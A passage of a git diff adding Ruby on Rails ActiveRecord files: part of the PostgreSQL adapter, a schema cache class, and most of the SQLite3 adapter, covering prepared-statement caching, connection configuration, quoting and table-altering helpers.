+ end
+
+ def delete(sql_key)
+ dealloc cache[sql_key]
+ cache.delete sql_key
+ end
+
+ private
+
+ def cache
+ @cache[Process.pid]
+ end
+
+ def dealloc(key)
+ @connection.query "DEALLOCATE #{key}" if connection_active?
+ end
+
+ def connection_active?
+ @connection.status == PGconn::CONNECTION_OK
+ rescue PGError
+ false
+ end
+ end
+
+ class BindSubstitution < Arel::Visitors::PostgreSQL # :nodoc:
+ include Arel::Visitors::BindVisitor
+ end
+
+ # Initializes and connects a PostgreSQL adapter.
+ def initialize(connection, logger, connection_parameters, config)
+ super(connection, logger)
+
+ if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+ @visitor = Arel::Visitors::PostgreSQL.new self
+ else
+ @visitor = unprepared_visitor
+ end
+
+ @connection_parameters, @config = connection_parameters, config
+
+ # @local_tz is initialized as nil to avoid warnings when connect tries to use it
+ @local_tz = nil
+ @table_alias_length = nil
+
+ connect
+ @statements = StatementPool.new @connection,
+ self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 })
+
+ if postgresql_version < 80200
+ raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
+ end
+
+ initialize_type_map
+ @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
+ @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
+ end
+
+ # Clears the prepared statements cache.
+ def clear_cache!
+ @statements.clear
+ end
+
+ # Is this connection alive and ready for queries?
+ def active?
+ @connection.connect_poll != PG::PGRES_POLLING_FAILED
+ rescue PGError
+ false
+ end
+
+ # Close then reopen the connection.
+ def reconnect!
+ super
+ @connection.reset
+ configure_connection
+ end
+
+ def reset!
+ clear_cache!
+ super
+ end
+
+ # Disconnects from the database if already connected. Otherwise, this
+ # method does nothing.
+ def disconnect!
+ super
+ @connection.close rescue nil
+ end
+
+ def native_database_types #:nodoc:
+ NATIVE_DATABASE_TYPES
+ end
+
+ # Returns true, since this connection adapter supports migrations.
+ def supports_migrations?
+ true
+ end
+
+ # Does PostgreSQL support finding primary key on non-Active Record tables?
+ def supports_primary_key? #:nodoc:
+ true
+ end
+
+ # Enable standard-conforming strings if available.
+ def set_standard_conforming_strings
+ old, self.client_min_messages = client_min_messages, 'panic'
+ execute('SET standard_conforming_strings = on', 'SCHEMA') rescue nil
+ ensure
+ self.client_min_messages = old
+ end
+
+ def supports_insert_with_returning?
+ true
+ end
+
+ def supports_ddl_transactions?
+ true
+ end
+
+ # Returns true, since this connection adapter supports savepoints.
+ def supports_savepoints?
+ true
+ end
+
+ # Returns true.
+ def supports_explain?
+ true
+ end
+
+ # Returns true if pg > 9.2
+ def supports_extensions?
+ postgresql_version >= 90200
+ end
+
+ # Range datatypes weren't introduced until PostgreSQL 9.2
+ def supports_ranges?
+ postgresql_version >= 90200
+ end
+
+ def enable_extension(name)
+ exec_query("CREATE EXTENSION IF NOT EXISTS \"#{name}\"").tap {
+ reload_type_map
+ }
+ end
+
+ def disable_extension(name)
+ exec_query("DROP EXTENSION IF EXISTS \"#{name}\" CASCADE").tap {
+ reload_type_map
+ }
+ end
+
+ def extension_enabled?(name)
+ if supports_extensions?
+ res = exec_query "SELECT EXISTS(SELECT * FROM pg_available_extensions WHERE name = '#{name}' AND installed_version IS NOT NULL)",
+ 'SCHEMA'
+ res.column_types['exists'].type_cast res.rows.first.first
+ end
+ end
+
+ def extensions
+ if supports_extensions?
+ res = exec_query "SELECT extname from pg_extension", "SCHEMA"
+ res.rows.map { |r| res.column_types['extname'].type_cast r.first }
+ else
+ super
+ end
+ end
+
+ # Returns the configured supported identifier length supported by PostgreSQL
+ def table_alias_length
+ @table_alias_length ||= query('SHOW max_identifier_length', 'SCHEMA')[0][0].to_i
+ end
+
+ # Set the authorized user for this session
+ def session_auth=(user)
+ clear_cache!
+ exec_query "SET SESSION AUTHORIZATION #{user}"
+ end
+
+ module Utils
+ extend self
+
+ # Returns an array of <tt>[schema_name, table_name]</tt> extracted from +name+.
+ # +schema_name+ is nil if not specified in +name+.
+ # +schema_name+ and +table_name+ exclude surrounding quotes (regardless of whether provided in +name+)
+ # +name+ supports the range of schema/table references understood by PostgreSQL, for example:
+ #
+ # * <tt>table_name</tt>
+ # * <tt>"table.name"</tt>
+ # * <tt>schema_name.table_name</tt>
+ # * <tt>schema_name."table.name"</tt>
+ # * <tt>"schema.name"."table name"</tt>
+ def extract_schema_and_table(name)
+ table, schema = name.scan(/[^".\s]+|"[^"]*"/)[0..1].collect{|m| m.gsub(/(^"|"$)/,'') }.reverse
+ [schema, table]
+ end
+ end
+
+ def use_insert_returning?
+ @use_insert_returning
+ end
+
+ def valid_type?(type)
+ !native_database_types[type].nil?
+ end
+
+ protected
+
+ # Returns the version of the connected PostgreSQL server.
+ def postgresql_version
+ @connection.server_version
+ end
+
+ # See http://www.postgresql.org/docs/9.1/static/errcodes-appendix.html
+ FOREIGN_KEY_VIOLATION = "23503"
+ UNIQUE_VIOLATION = "23505"
+
+ def translate_exception(exception, message)
+ return exception unless exception.respond_to?(:result)
+
+ case exception.result.try(:error_field, PGresult::PG_DIAG_SQLSTATE)
+ when UNIQUE_VIOLATION
+ RecordNotUnique.new(message, exception)
+ when FOREIGN_KEY_VIOLATION
+ InvalidForeignKey.new(message, exception)
+ else
+ super
+ end
+ end
+
+ private
+
+ def reload_type_map
+ OID::TYPE_MAP.clear
+ initialize_type_map
+ end
+
+ def initialize_type_map
+ result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
+ leaves, nodes = result.partition { |row| row['typelem'] == '0' }
+
+ # populate the leaf nodes
+ leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
+ OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+ end
+
+ arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
+
+ # populate composite types
+ nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
+ if OID.registered_type? row['typname']
+ # this composite type is explicitly registered
+ vector = OID::NAMES[row['typname']]
+ else
+ # use the default for composite types
+ vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
+ end
+
+ OID::TYPE_MAP[row['oid'].to_i] = vector
+ end
+
+ # populate array types
+ arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
+ array = OID::Array.new OID::TYPE_MAP[row['typelem'].to_i]
+ OID::TYPE_MAP[row['oid'].to_i] = array
+ end
+ end
+
+ FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+
+ def exec_no_cache(sql, binds)
+ @connection.async_exec(sql)
+ end
+
+ def exec_cache(sql, binds)
+ stmt_key = prepare_statement sql
+
+ # Clear the queue
+ @connection.get_last_result
+ @connection.send_query_prepared(stmt_key, binds.map { |col, val|
+ type_cast(val, col)
+ })
+ @connection.block
+ @connection.get_last_result
+ rescue PGError => e
+ # Get the PG code for the failure. Annoyingly, the code for
+ # prepared statements whose return value may have changed is
+ # FEATURE_NOT_SUPPORTED. Check here for more details:
+ # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
+ begin
+ code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+ rescue
+ raise e
+ end
+ if FEATURE_NOT_SUPPORTED == code
+ @statements.delete sql_key(sql)
+ retry
+ else
+ raise e
+ end
+ end
+
+ # Returns the statement identifier for the client side cache
+ # of statements
+ def sql_key(sql)
+ "#{schema_search_path}-#{sql}"
+ end
+
+ # Prepare the statement if it hasn't been prepared, return
+ # the statement key.
+ def prepare_statement(sql)
+ sql_key = sql_key(sql)
+ unless @statements.key? sql_key
+ nextkey = @statements.next_key
+ @connection.prepare nextkey, sql
+ @statements[sql_key] = nextkey
+ end
+ @statements[sql_key]
+ end
+
+ # The internal PostgreSQL identifier of the money data type.
+ MONEY_COLUMN_TYPE_OID = 790 #:nodoc:
+ # The internal PostgreSQL identifier of the BYTEA data type.
+ BYTEA_COLUMN_TYPE_OID = 17 #:nodoc:
+
+ # Connects to a PostgreSQL server and sets up the adapter depending on the
+ # connected server's characteristics.
+ def connect
+ @connection = PGconn.connect(@connection_parameters)
+
+ # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of
+ # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision
+ # should know about this but can't detect it there, so deal with it here.
+ PostgreSQLColumn.money_precision = (postgresql_version >= 80300) ? 19 : 10
+
+ configure_connection
+ end
+
+ # Configures the encoding, verbosity, schema search path, and time zone of the connection.
+ # This is called by #connect and should not be called manually.
+ def configure_connection
+ if @config[:encoding]
+ @connection.set_client_encoding(@config[:encoding])
+ end
+ self.client_min_messages = @config[:min_messages] || 'warning'
+ self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]
+
+ # Use standard-conforming strings if available so we don't have to do the E'...' dance.
+ set_standard_conforming_strings
+
+ # If using Active Record's time zone support configure the connection to return
+ # TIMESTAMP WITH ZONE types in UTC.
+ # (SET TIME ZONE does not use an equals sign like other SET variables)
+ if ActiveRecord::Base.default_timezone == :utc
+ execute("SET time zone 'UTC'", 'SCHEMA')
+ elsif @local_tz
+ execute("SET time zone '#{@local_tz}'", 'SCHEMA')
+ end
+
+ # SET statements from :variables config hash
+ # http://www.postgresql.org/docs/8.3/static/sql-set.html
+ variables = @config[:variables] || {}
+ variables.map do |k, v|
+ if v == ':default' || v == :default
+ # Sets the value to the global or compile default
+ execute("SET SESSION #{k.to_s} TO DEFAULT", 'SCHEMA')
+ elsif !v.nil?
+ execute("SET SESSION #{k.to_s} TO #{quote(v)}", 'SCHEMA')
+ end
+ end
+ end
+
+ # Returns the current ID of a table's sequence.
+ def last_insert_id(sequence_name) #:nodoc:
+ Integer(last_insert_id_value(sequence_name))
+ end
+
+ def last_insert_id_value(sequence_name)
+ last_insert_id_result(sequence_name).rows.first.first
+ end
+
+ def last_insert_id_result(sequence_name) #:nodoc:
+ exec_query("SELECT currval('#{sequence_name}')", 'SQL')
+ end
+
+ # Executes a SELECT query and returns the results, performing any data type
+ # conversions that are required to be performed here instead of in PostgreSQLColumn.
+ def select(sql, name = nil, binds = [])
+ exec_query(sql, name, binds)
+ end
+
+ def select_raw(sql, name = nil)
+ res = execute(sql, name)
+ results = result_as_array(res)
+ fields = res.fields
+ res.clear
+ return fields, results
+ end
+
+ # Returns the list of a table's column names, data types, and default values.
+ #
+ # The underlying query is roughly:
+ # SELECT column.name, column.type, default.value
+ # FROM column LEFT JOIN default
+ # ON column.table_id = default.table_id
+ # AND column.num = default.column_num
+ # WHERE column.table_id = get_table_id('table_name')
+ # AND column.num > 0
+ # AND NOT column.is_dropped
+ # ORDER BY column.num
+ #
+ # If the table name is not prefixed with a schema, the database will
+ # take the first match from the schema search path.
+ #
+ # Query implementation notes:
+ # - format_type includes the column size constraint, e.g. varchar(50)
+ # - ::regclass is a function that gives the id for a table name
+ def column_definitions(table_name) #:nodoc:
+ exec_query(<<-end_sql, 'SCHEMA').rows
+ SELECT a.attname, format_type(a.atttypid, a.atttypmod),
+ pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod
+ FROM pg_attribute a LEFT JOIN pg_attrdef d
+ ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+ WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass
+ AND a.attnum > 0 AND NOT a.attisdropped
+ ORDER BY a.attnum
+ end_sql
+ end
+
+ def extract_pg_identifier_from_name(name)
+ match_data = name.start_with?('"') ? name.match(/\"([^\"]+)\"/) : name.match(/([^\.]+)/)
+
+ if match_data
+ rest = name[match_data[0].length, name.length]
+ rest = rest[1, rest.length] if rest.start_with? "."
+ [match_data[1], (rest.length > 0 ? rest : nil)]
+ end
+ end
+
+ def extract_table_ref_from_insert_sql(sql)
+ sql[/into\s+([^\(]*).*values\s*\(/i]
+ $1.strip if $1
+ end
+
+ def create_table_definition(name, temporary, options)
+ TableDefinition.new native_database_types, name, temporary, options
+ end
+
+ def update_table_definition(table_name, base)
+ Table.new(table_name, base)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
new file mode 100644
index 0000000..1d7a22e
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -0,0 +1,129 @@
+require 'active_support/deprecation/reporting'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SchemaCache
+ attr_reader :version
+ attr_accessor :connection
+
+ def initialize(conn)
+ @connection = conn
+
+ @columns = {}
+ @columns_hash = {}
+ @primary_keys = {}
+ @tables = {}
+ prepare_default_proc
+ end
+
+ def primary_keys(table_name = nil)
+ if table_name
+ @primary_keys[table_name]
+ else
+ ActiveSupport::Deprecation.warn('call primary_keys with a table name!')
+ @primary_keys.dup
+ end
+ end
+
+ # A cached lookup for table existence.
+ def table_exists?(name)
+ return @tables[name] if @tables.key? name
+
+ @tables[name] = connection.table_exists?(name)
+ end
+
+ # Add internal cache for table with +table_name+.
+ def add(table_name)
+ if table_exists?(table_name)
+ @primary_keys[table_name]
+ @columns[table_name]
+ @columns_hash[table_name]
+ end
+ end
+
+ def tables(name = nil)
+ if name
+ @tables[name]
+ else
+ ActiveSupport::Deprecation.warn('call tables with a name!')
+ @tables.dup
+ end
+ end
+
+ # Get the columns for a table
+ def columns(table = nil)
+ if table
+ @columns[table]
+ else
+ ActiveSupport::Deprecation.warn('call columns with a table name!')
+ @columns.dup
+ end
+ end
+
+ # Get the columns for a table as a hash, key is the column name
+ # value is the column object.
+ def columns_hash(table = nil)
+ if table
+ @columns_hash[table]
+ else
+ ActiveSupport::Deprecation.warn('call columns_hash with a table name!')
+ @columns_hash.dup
+ end
+ end
+
+ # Clears out internal caches
+ def clear!
+ @columns.clear
+ @columns_hash.clear
+ @primary_keys.clear
+ @tables.clear
+ @version = nil
+ end
+
+ def size
+ [@columns, @columns_hash, @primary_keys, @tables].map { |x|
+ x.size
+ }.inject :+
+ end
+
+ # Clear out internal caches for table with +table_name+.
+ def clear_table_cache!(table_name)
+ @columns.delete table_name
+ @columns_hash.delete table_name
+ @primary_keys.delete table_name
+ @tables.delete table_name
+ end
+
+ def marshal_dump
+ # if we get current version during initialization, it happens stack over flow.
+ @version = ActiveRecord::Migrator.current_version
+ [@version] + [@columns, @columns_hash, @primary_keys, @tables].map { |val|
+ Hash[val]
+ }
+ end
+
+ def marshal_load(array)
+ @version, @columns, @columns_hash, @primary_keys, @tables = array
+ prepare_default_proc
+ end
+
+ private
+
+ def prepare_default_proc
+ @columns.default_proc = Proc.new do |h, table_name|
+ h[table_name] = connection.columns(table_name)
+ end
+
+ @columns_hash.default_proc = Proc.new do |h, table_name|
+ h[table_name] = Hash[columns(table_name).map { |col|
+ [col.name, col]
+ }]
+ end
+
+ @primary_keys.default_proc = Proc.new do |h, table_name|
+ h[table_name] = table_exists?(table_name) ? connection.primary_key(table_name) : nil
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
new file mode 100644
index 0000000..7d940fe
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -0,0 +1,624 @@
+require 'active_record/connection_adapters/abstract_adapter'
+require 'active_record/connection_adapters/statement_pool'
+require 'arel/visitors/bind_visitor'
+
+gem 'sqlite3', '~> 1.3.6'
+require 'sqlite3'
+
+module ActiveRecord
+ module ConnectionHandling # :nodoc:
+ # sqlite3 adapter reuses sqlite_connection.
+ def sqlite3_connection(config)
+ # Require database.
+ unless config[:database]
+ raise ArgumentError, "No database file specified. Missing argument: database"
+ end
+
+ # Allow database path relative to Rails.root, but only if
+ # the database path is not the special path that tells
+ # Sqlite to build a database only in memory.
+ if defined?(Rails.root) && ':memory:' != config[:database]
+ config[:database] = File.expand_path(config[:database], Rails.root)
+ end
+
+ db = SQLite3::Database.new(
+ config[:database],
+ :results_as_hash => true
+ )
+
+ db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
+
+ ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
+ end
+ end
+
+ module ConnectionAdapters #:nodoc:
+ class SQLite3Column < Column #:nodoc:
+ class << self
+ def binary_to_string(value)
+ if value.encoding != Encoding::ASCII_8BIT
+ value = value.force_encoding(Encoding::ASCII_8BIT)
+ end
+ value
+ end
+ end
+ end
+
+ # The SQLite3 adapter works SQLite 3.6.16 or newer
+ # with the sqlite3-ruby drivers (available as gem from https://rubygems.org/gems/sqlite3).
+ #
+ # Options:
+ #
+ # * <tt>:database</tt> - Path to the database file.
+ class SQLite3Adapter < AbstractAdapter
+ class Version
+ include Comparable
+
+ def initialize(version_string)
+ @version = version_string.split('.').map { |v| v.to_i }
+ end
+
+ def <=>(version_string)
+ @version <=> version_string.split('.').map { |v| v.to_i }
+ end
+ end
+
+ class StatementPool < ConnectionAdapters::StatementPool
+ def initialize(connection, max)
+ super
+ @cache = Hash.new { |h,pid| h[pid] = {} }
+ end
+
+ def each(&block); cache.each(&block); end
+ def key?(key); cache.key?(key); end
+ def [](key); cache[key]; end
+ def length; cache.length; end
+
+ def []=(sql, key)
+ while @max <= cache.size
+ dealloc(cache.shift.last[:stmt])
+ end
+ cache[sql] = key
+ end
+
+ def clear
+ cache.values.each do |hash|
+ dealloc hash[:stmt]
+ end
+ cache.clear
+ end
+
+ private
+ def cache
+ @cache[$$]
+ end
+
+ def dealloc(stmt)
+ stmt.close unless stmt.closed?
+ end
+ end
+
+ class BindSubstitution < Arel::Visitors::SQLite # :nodoc:
+ include Arel::Visitors::BindVisitor
+ end
+
+ def initialize(connection, logger, config)
+ super(connection, logger)
+
+ @active = nil
+ @statements = StatementPool.new(@connection,
+ self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 }))
+ @config = config
+
+ if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
+ @visitor = Arel::Visitors::SQLite.new self
+ else
+ @visitor = unprepared_visitor
+ end
+ end
+
+ def adapter_name #:nodoc:
+ 'SQLite'
+ end
+
+ # Returns true
+ def supports_ddl_transactions?
+ true
+ end
+
+ # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
+ def supports_savepoints?
+ sqlite_version >= '3.6.8'
+ end
+
+ # Returns true, since this connection adapter supports prepared statement
+ # caching.
+ def supports_statement_cache?
+ true
+ end
+
+ # Returns true, since this connection adapter supports migrations.
+ def supports_migrations? #:nodoc:
+ true
+ end
+
+ # Returns true.
+ def supports_primary_key? #:nodoc:
+ true
+ end
+
+ def requires_reloading?
+ true
+ end
+
+ # Returns true
+ def supports_add_column?
+ true
+ end
+
+ def active?
+ @active != false
+ end
+
+ # Disconnects from the database if already connected. Otherwise, this
+ # method does nothing.
+ def disconnect!
+ super
+ @active = false
+ @connection.close rescue nil
+ end
+
+ # Clears the prepared statements cache.
+ def clear_cache!
+ @statements.clear
+ end
+
+ # Returns true
+ def supports_count_distinct? #:nodoc:
+ true
+ end
+
+ # Returns true
+ def supports_autoincrement? #:nodoc:
+ true
+ end
+
+ def supports_index_sort_order?
+ true
+ end
+
+ # Returns 62. SQLite supports index names up to 64
+ # characters. The rest is used by rails internally to perform
+ # temporary rename operations
+ def allowed_index_name_length
+ index_name_length - 2
+ end
+
+ def native_database_types #:nodoc:
+ {
+ :primary_key => default_primary_key_type,
+ :string => { :name => "varchar", :limit => 255 },
+ :text => { :name => "text" },
+ :integer => { :name => "integer" },
+ :float => { :name => "float" },
+ :decimal => { :name => "decimal" },
+ :datetime => { :name => "datetime" },
+ :timestamp => { :name => "datetime" },
+ :time => { :name => "time" },
+ :date => { :name => "date" },
+ :binary => { :name => "blob" },
+ :boolean => { :name => "boolean" }
+ }
+ end
+
+ # Returns the current database encoding format as a string, eg: 'UTF-8'
+ def encoding
+ @connection.encoding.to_s
+ end
+
+ # Returns true.
+ def supports_explain?
+ true
+ end
+
+ # QUOTING ==================================================
+
+ def quote(value, column = nil)
+ if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
+ s = column.class.string_to_binary(value).unpack("H*")[0]
+ "x'#{s}'"
+ else
+ super
+ end
+ end
+
+ def quote_string(s) #:nodoc:
+ @connection.class.quote(s)
+ end
+
+ def quote_table_name_for_assignment(table, attr)
+ quote_column_name(attr)
+ end
+
+ def quote_column_name(name) #:nodoc:
+ %Q("#{name.to_s.gsub('"', '""')}")
+ end
+
+ # Quote date/time values for use in SQL input. Includes microseconds
+ # if the value is a Time responding to usec.
+ def quoted_date(value) #:nodoc:
+ if value.respond_to?(:usec)
+ "#{super}.#{sprintf("%06d", value.usec)}"
+ else
+ super
+ end
+ end
+
+ def type_cast(value, column) # :nodoc:
+ return value.to_f if BigDecimal === value
+ return super unless String === value
+ return super unless column && value
+
+ value = super
+ if column.type == :string && value.encoding == Encoding::ASCII_8BIT
+ logger.error "Binary data inserted for `string` type on column `#{column.name}`" if logger
+ value = value.encode Encoding::UTF_8
+ end
+ value
+ end
+
+ # DATABASE STATEMENTS ======================================
+
+ def explain(arel, binds = [])
+ sql = "EXPLAIN QUERY PLAN #{to_sql(arel, binds)}"
+ ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
+ end
+
+ class ExplainPrettyPrinter
+ # Pretty prints the result of a EXPLAIN QUERY PLAN in a way that resembles
+ # the output of the SQLite shell:
+ #
+ # 0|0|0|SEARCH TABLE users USING INTEGER PRIMARY KEY (rowid=?) (~1 rows)
+ # 0|1|1|SCAN TABLE posts (~100000 rows)
+ #
+ def pp(result) # :nodoc:
+ result.rows.map do |row|
+ row.join('|')
+ end.join("\n") + "\n"
+ end
+ end
+
+ def exec_query(sql, name = nil, binds = [])
+ log(sql, name, binds) do
+
+ # Don't cache statements without bind values
+ if binds.empty?
+ stmt = @connection.prepare(sql)
+ cols = stmt.columns
+ records = stmt.to_a
+ stmt.close
+ stmt = records
+ else
+ cache = @statements[sql] ||= {
+ :stmt => @connection.prepare(sql)
+ }
+ stmt = cache[:stmt]
+ cols = cache[:cols] ||= stmt.columns
+ stmt.reset!
+ stmt.bind_params binds.map { |col, val|
+ type_cast(val, col)
+ }
+ end
+
+ ActiveRecord::Result.new(cols, stmt.to_a)
+ end
+ end
+
+ def exec_delete(sql, name = 'SQL', binds = [])
+ exec_query(sql, name, binds)
+ @connection.changes
+ end
+ alias :exec_update :exec_delete
+
+ def last_inserted_id(result)
+ @connection.last_insert_row_id
+ end
+
+ def execute(sql, name = nil) #:nodoc:
+ log(sql, name) { @connection.execute(sql) }
+ end
+
+ def update_sql(sql, name = nil) #:nodoc:
+ super
+ @connection.changes
+ end
+
+ def delete_sql(sql, name = nil) #:nodoc:
+ sql += " WHERE 1=1" unless sql =~ /WHERE/i
+ super sql, name
+ end
+
+ def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+ super
+ id_value || @connection.last_insert_row_id
+ end
+ alias :create :insert_sql
+
+ def select_rows(sql, name = nil)
+ exec_query(sql, name).rows
+ end
+
+ def create_savepoint
+ execute("SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def rollback_to_savepoint
+ execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def release_savepoint
+ execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+ end
+
+ def begin_db_transaction #:nodoc:
+ log('begin transaction',nil) { @connection.transaction }
+ end
+
+ def commit_db_transaction #:nodoc:
+ log('commit transaction',nil) { @connection.commit }
+ end
+
+ def rollback_db_transaction #:nodoc:
+ log('rollback transaction',nil) { @connection.rollback }
+ end
+
+ # SCHEMA STATEMENTS ========================================
+
+ def tables(name = nil, table_name = nil) #:nodoc:
+ sql = <<-SQL
+ SELECT name
+ FROM sqlite_master
+ WHERE type = 'table' AND NOT name = 'sqlite_sequence'
+ SQL
+ sql << " AND name = #{quote_table_name(table_name)}" if table_name
+
+ exec_query(sql, 'SCHEMA').map do |row|
+ row['name']
+ end
+ end
+
+ def table_exists?(table_name)
+ table_name && tables(nil, table_name).any?
+ end
+
+ # Returns an array of +SQLite3Column+ objects for the table specified by +table_name+.
+ def columns(table_name) #:nodoc:
+ table_structure(table_name).map do |field|
+ case field["dflt_value"]
+ when /^null$/i
+ field["dflt_value"] = nil
+ when /^'(.*)'$/m
+ field["dflt_value"] = $1.gsub("''", "'")
+ when /^"(.*)"$/m
+ field["dflt_value"] = $1.gsub('""', '"')
+ end
+
+ SQLite3Column.new(field['name'], field['dflt_value'], field['type'], field['notnull'].to_i == 0)
+ end
+ end
+
+ # Returns an array of indexes for the given table.
+ def indexes(table_name, name = nil) #:nodoc:
+ exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", 'SCHEMA').map do |row|
+ IndexDefinition.new(
+ table_name,
+ row['name'],
+ row['unique'] != 0,
+ exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
+ col['name']
+ })
+ end
+ end
+
+ def primary_key(table_name) #:nodoc:
+ column = table_structure(table_name).find { |field|
+ field['pk'] == 1
+ }
+ column && column['name']
+ end
+
+ def remove_index!(table_name, index_name) #:nodoc:
+ exec_query "DROP INDEX #{quote_column_name(index_name)}"
+ end
+
+ # Renames a table.
+ #
+ # Example:
+ # rename_table('octopuses', 'octopi')
+ def rename_table(table_name, new_name)
+ exec_query "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+ rename_table_indexes(table_name, new_name)
+ end
+
+ # See: http://www.sqlite.org/lang_altertable.html
+ # SQLite has an additional restriction on the ALTER TABLE statement
+ def valid_alter_table_options( type, options)
+ type.to_sym != :primary_key
+ end
+
+ def add_column(table_name, column_name, type, options = {}) #:nodoc:
+ if supports_add_column? && valid_alter_table_options( type, options )
+ super(table_name, column_name, type, options)
+ else
+ alter_table(table_name) do |definition|
+ definition.column(column_name, type, options)
+ end
+ end
+ end
+
+ def remove_column(table_name, column_name, type = nil, options = {}) #:nodoc:
+ alter_table(table_name) do |definition|
+ definition.remove_column column_name
+ end
+ end
+
+ def change_column_default(table_name, column_name, default) #:nodoc:
+ alter_table(table_name) do |definition|
+ definition[column_name].default = default
+ end
+ end
+
+ def change_column_null(table_name, column_name, null, default = nil)
+ unless null || default.nil?
+ exec_query("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+ end
+ alter_table(table_name) do |definition|
+ definition[column_name].null = null
+ end
+ end
+
+ def change_column(table_name, column_name, type, options = {}) #:nodoc:
+ alter_table(table_name) do |definition|
+ include_default = options_include_default?(options)
+ definition[column_name].instance_eval do
+ self.type = type
+ self.limit = options[:limit] if options.include?(:limit)
+ self.default = options[:default] if include_default
+ self.null = options[:null] if options.include?(:null)
+ self.precision = options[:precision] if options.include?(:precision)
+ self.scale = options[:scale] if options.include?(:scale)
+ end
+ end
+ end
+
+ def rename_column(table_name, column_name, new_column_name) #:nodoc:
+ unless columns(table_name).detect{|c| c.name == column_name.to_s }
+ raise ActiveRecord::ActiveRecordError, "Missing column #{table_name}.#{column_name}"
+ end
+ alter_table(table_name, :rename => {column_name.to_s => new_column_name.to_s})
+ rename_column_indexes(table_name, column_name, new_column_name)
+ end
+
+ protected
+ def select(sql, name = nil, binds = []) #:nodoc:
+ exec_query(sql, name, binds)
+ end
+
+ def table_structure(table_name)
+ structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", 'SCHEMA').to_hash
+ raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty?
+ structure
+ end
+
+ def alter_table(table_name, options = {}) #:nodoc:
+ altered_table_name = "a#{table_name}"
+ caller = lambda {|definition| yield definition if block_given?}
+
+ transaction do
+ move_table(table_name, altered_table_name,
+ options.merge(:temporary => true))
+ move_table(altered_table_name, table_name, &caller)
+ end
+ end
+
+ def move_table(from, to, options = {}, &block) #:nodoc:
+ copy_table(from, to, options, &block)
+ drop_table(from)
+ end
+
+ def copy_table(from, to, options = {}) #:nodoc:
+ from_primary_key = primary_key(from)
+ options[:id] = false
+ create_table(to, options) do |definition|
+ @definition = definition
+ @definition.primary_key(from_primary_key) if from_primary_key.present?
+ columns(from).each do |column|
+ column_name = options[:rename] ?
+ (options[:rename][column.name] ||
+ options[:rename][column.name.to_sym] ||
+ column.name) : column.name
+ next if column_name == from_primary_key
+
+ @definition.column(column_name, column.type,
+ :limit => column.limit, :default => column.default,
+ :precision => column.precision, :scale => column.scale,
+ :null => column.null)
+ end
+ yield @definition if block_given?
+ end
+ copy_table_indexes(from, to, options[:rename] || {})
+ copy_table_contents(from, to,
+ @definition.columns.map {|column| column.name},
+ options[:rename] || {})
+ end
+
+ def copy_table_indexes(from, to, rename = {}) #:nodoc:
+ indexes(from).each do |index|
+ name = index.name
+ if to == "a#{from}"
+ name = "t#{name}"
+ elsif from == "a#{to}"
+ name = name[1..-1]
+ end
+
+ to_column_names = columns(to).map { |c| c.name }
+ columns = index.columns.map {|c| rename[c] || c }.select do |column|
+ to_column_names.include?(column)
+ end
+
+ unless columns.empty?
+ # index name can't be the same
+ opts = { name: name.gsub(/(^|_)(#{from})_/, "\\1#{to}_"), internal: true }
+ opts[:unique] = true if index.unique
+ add_index(to, columns, opts)
+ end
+ end
+ end
+
+ def copy_table_contents(from, to, columns, rename = {}) #:nodoc:
+ column_mappings = Hash[columns.map {|name| [name, name]}]
+ rename.each { |a| column_mappings[a.last] = a.first }
